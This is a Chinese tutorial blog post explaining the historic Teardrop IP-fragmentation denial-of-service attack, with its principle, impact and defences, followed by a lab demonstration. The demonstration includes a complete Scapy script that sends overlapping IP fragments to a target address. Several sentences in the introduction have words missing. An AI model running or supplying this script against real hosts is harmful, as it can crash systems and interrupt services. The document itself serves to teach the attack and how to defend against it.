利用 Scapy 库编写 Teardrop 脚本

简介: 利用 Scapy 库编写 Teardrop 脚本

一、介绍

Teardrop是一种历史上比较著名的拒绝服务(Denial of Service, DoS),主要利用了IP数据包分片和重组过程中的来目标系统。以下是对Teardrop的详细介绍:

1.1 原理

IP协议允许数据包在传输过程中进行分片,以适应不同网络的 MTU(最大传输单元)限制。接收端需要将这些分片的数据包重新组装成完整的数据包。然而,Teardrop攻击通过发送畸形的、重叠的或不正确的分片数据包,利用接收端在重组这些分片时的,导致系统崩溃或重启。


1.2 步骤

  1. 数据包分片
  • 正常情况下,数据包在传输过程中可能被分片。例如,一个大的IP数据包被分成多个较小的分片,每个分片包含部分数据和分片信息(如偏移量和标志位)。
  1. 畸形分片
  • 发送特意构造的畸形分片数据包。这些分片在偏移量字段中包含重叠或错误的偏移信息,使得接收端在重组数据包时发生错误。
  1. 重组失败
  • 当目标系统尝试重组这些畸形分片时,由于分片信息不正确或重叠,系统无法正确处理这些分片,导致内存错误、系统崩溃或重启。

1.3 影响

  • 系统崩溃
  • 目标系统可能会因为无法正确处理畸形分片而崩溃,导致服务中断。
  • 重启或蓝屏
  • 在Windows 95、Windows NT等旧版本操作系统中,Teardrop常导致系统重启或出现蓝屏死机(BSOD)。
  • 拒绝服务
  • 系统崩溃或重启会导致服务不可用,攻击者通过这种方式实现拒绝服务。

1.4 背景

Teardrop攻击在20世纪90年代末首次被发现,当时许多操作系统(如Windows 95、Windows NT、Linux内核的某些版本等)存在处理IP分片重组时的。这些在当时被广泛利用,导致大量系统受到。

1.5 防御措施

  1. 操作系统更新
  • 及时更新操作系统和网络设备的固件,以修补处理IP分片重组的漏洞。现代操作系统和网络设备通常已经修复了这种。
  1. 入侵检测和防御系统(IDS/IPS)
  • 部署入侵检测系统(IDS)和入侵防御系统(IPS),实时监控网络流量,检测和阻止异常分片数据包。
  1. 防火墙
  • 配置防火墙规则,过滤畸形或异常的IP分片数据包,防止这些数据包到达内部网络和系统。
  1. 流量分析工具
  • 使用流量分析工具检测和分析网络中的异常流量模式,识别潜在的Teardrop。
  1. 网络分段
  • 通过网络分段和VLAN(虚拟局域网)技术,将网络划分为多个子网,限制攻击范围和影响。

1.6 示例

以下是Teardrop的一个简化示例:

  1. 正常分片
  • 数据包1:偏移量0,长度100
  • 数据包2:偏移量100,长度100
  • 数据包3:偏移量200,长度100
  1. 畸形分片
  • 数据包1:偏移量0,长度100
  • 数据包2:偏移量50,长度100
  • 数据包3:偏移量150,长度100

在上述畸形分片中,数据包2的偏移量和长度导致其与数据包1重叠,数据包3的偏移量和长度也与前两个数据包部分重叠,接收端在重组这些分片时会发生错误。

1.7 总结

Teardrop攻击是一种利用IP分片重组漏洞进行拒绝服务的方式。尽管现代操作系统和网络设备通常已经修复了相关,但了解这种攻击方式对于理解网络安全和历史仍然非常重要。通过及时更新系统、部署安全设备和监控网络流量,可以有效防御此类。

二、实验环境

受害者:192.168.1.128

三、实操演示

攻击者:192.168.1.103

from scapy.all import *
from scapy.layers.inet import UDP
 
# 目标IP地址
target_ip = "192.168.1.128"
 
# 第一个分片:偏移量为0,8字节数据
fragment1 = IP(dst=target_ip, id=42, flags="MF", frag=0)/UDP(sport=12345, dport=80)/("X"*8)
 
# 第二个分片:偏移量为1(8字节),8字节数据,覆盖第1个分片的最后1字节
fragment2 = IP(dst=target_ip, id=42, flags="MF", frag=1)/("Y"*8)
 
# 第三个分片:偏移量为2(16字节),8字节数据,覆盖第2个分片的最后1字节
fragment3 = IP(dst=target_ip, id=42, flags="MF", frag=2)/("Z"*8)
 
# 第四个分片:偏移量为3(24字节),8字节数据,覆盖第3个分片的最后1字节
fragment4 = IP(dst=target_ip, id=42, frag=3)/("W"*8)
 
# 发送恶意分片
send(fragment1)
send(fragment2)
send(fragment3)
send(fragment4)
print('发送完毕!')


第一个数据包中能发现大小为 16 字节,有分片,偏移量为 0

第二个数据包中偏移量为 8,并不是 16,意味着重叠了

计算过程:上一包的大小 + 偏移量 = 下一包的偏移量(如果不懂的可以再去看看我在网络协议分析中写的 IP 协议分片一章)


相关文章
|
XML 域名解析 JSON
【RESTful】RESTful API 接口设计规范 | 示例
【RESTful】RESTful API 接口设计规范 | 示例
13758 0
【RESTful】RESTful API 接口设计规范 | 示例
|
域名解析 网络协议 视频直播
视频直播推流拉流慢、卡顿解决方案
视频直播类App当前已经普遍采用CDN来实现访问加速,但还是经常遇到推拉流慢、卡顿的问题。这类问题一般是由于调度不精准、域名劫持、终端手机接入网络动态切换等因素导致,结合使用CDN和HTTPDNS可以比较完美解决此类问题。
2647 0
视频直播推流拉流慢、卡顿解决方案
|
3月前
|
人工智能 自然语言处理 语音技术
通义百聆语音双子星,同步开源!
通义百聆全新升级,推出Fun-CosyVoice3与Fun-ASR系列模型。3秒录音即可实现9种语言、18种方言及多情感音色克隆,支持中英混说、跨语种合成;Fun-ASR识别准确率高达93%,支持31种语言自由混说、歌词说唱识别,并开源轻量级模型,助力高效本地部署与定制开发。
1047 5
通义百聆语音双子星,同步开源!
|
SQL 关系型数据库 BI
草率了!没想pgadmin这么强大
草率了!没想pgadmin这么强大
1322 0
|
域名解析 缓存 网络协议
中间人攻击之DNS欺骗
【8月更文挑战第13天】
1202 2
|
编解码 监控
Zoom + OBS + B 站直播配置
Zoom + OBS + B 站直播配置
575 0
|
数据采集 数据可视化 数据挖掘
Python DataFrame 中的异常值检测与处理
【5月更文挑战第19天】在数据分析中,异常值检测与处理至关重要,因为它可能显著影响结果。常用检测方法包括统计指标(如均值和标准差)及箱线图。当发现异常值时,可选择删除、修正或标记。删除直接但可能导致数据量减少;修正如用中位数替换;标记则便于后续分析。实际应用中,需根据数据特性和分析目标选择合适方法,并可能结合多种方式判断。异常值处理能提升数据质量和分析可靠性。
896 2
|
缓存
STM32使用HAL库实现串口通讯——实战操作
STM32使用HAL库实现串口通讯——实战操作
858 0
|
编解码 数据可视化 索引
深入了解Figure的结构与层次
深入了解Figure的结构与层次
338 0
|
缓存 Linux
百度搜索:蓝易云【CentOS-8 - AppStream 错误:为 repo ‘AppStream‘ 下载元数据失败解决教程。】
通过以上步骤,你应该能够解决 "为 repo 'AppStream' 下载元数据失败" 的错误,并成功更新 AppStream 仓库的元数据。
1085 0

热门文章

最新文章